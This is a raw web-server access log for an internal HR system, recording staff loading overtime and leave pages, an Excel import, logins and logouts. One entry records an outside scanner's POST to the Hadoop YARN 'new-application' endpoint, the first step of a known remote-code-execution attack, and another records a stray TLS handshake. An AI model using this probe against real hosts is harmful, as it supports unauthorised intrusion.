192.168.11.236 - - [25/May/2023:09:11:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:11:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:11:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.228 - - [25/May/2023:09:11:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13165 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:11:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13165
192.168.12.71 - - [25/May/2023:09:12:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:12:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.11.236 - - [25/May/2023:09:12:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:12:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.71 - - [25/May/2023:09:12:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 145387 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:12:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 145387
192.168.11.236 - - [25/May/2023:09:13:13 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4310395255376369 HTTP/1.1" 200 5264 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:13:13 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4310395255376369 HTTP/1.1" 200 5264
192.168.11.236 - - [25/May/2023:09:13:19 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4310395255376369 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4310395255376369" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:13:19 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4310395255376369 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:09:13:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 11292
192.168.11.236 - - [25/May/2023:09:13:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 11292 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4310395255376369" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:13:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:09:13:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:13:38 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D112676%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A112676&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:13:38 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D112676%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A112676&target=iframe HTTP/1.1" 200 3251
192.168.11.236 - - [25/May/2023:09:14:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=112676 HTTP/1.1" 200 5331 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D112676%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A112676&target=iframe" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:14:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=112676 HTTP/1.1" 200 5331
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:14:18 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:19 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:14:19 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.236 - - [25/May/2023:09:14:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:14:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [25/May/2023:09:14:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [25/May/2023:09:14:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [25/May/2023:09:14:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:14:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:14:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.236 - - [25/May/2023:09:14:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.763741524067723 HTTP/1.1" 200 13392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:14:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.763741524067723 HTTP/1.1" 200 13392
192.168.11.236 - - [25/May/2023:09:14:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.763741524067723 HTTP/1.1" 200 15567 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.763741524067723" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:14:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.763741524067723 HTTP/1.1" 200 15567
192.168.11.136 - - [25/May/2023:09:14:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:09:14:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:15:04 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:15:04 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.236 - - [25/May/2023:09:15:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:15:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071
192.168.11.236 - - [25/May/2023:09:15:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:15:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:15:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:15:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:15:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:15:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:15:52 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6368268986002577 HTTP/1.1" 200 5264 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:15:52 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6368268986002577 HTTP/1.1" 200 5264
192.168.11.236 - - [25/May/2023:09:15:59 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6368268986002577 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6368268986002577" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:15:59 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6368268986002577 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:09:15:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4747
192.168.11.236 - - [25/May/2023:09:15:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4747 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6368268986002577" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:16:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4477
192.168.11.236 - - [25/May/2023:09:16:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4477 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:16:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:16:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:16:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:16:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
141.98.6.125 - - [25/May/2023:09:18:01 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
141.98.6.125 - - [25/May/2023:09:18:01 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.90.1.el7.x86_64"
192.168.12.71 - - [25/May/2023:09:18:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:18:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
104.140.148.70 - - [25/May/2023:09:18:40 +0800] "\x16\x03\x01" 501 205
104.140.148.70 - - [25/May/2023:09:18:40 +0800] "\x16\x03\x01" 501 205 "-" "-"
192.168.11.136 - - [25/May/2023:09:19:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [25/May/2023:09:19:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:19:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [25/May/2023:09:19:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:19:49 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:19:49 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:19:49 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
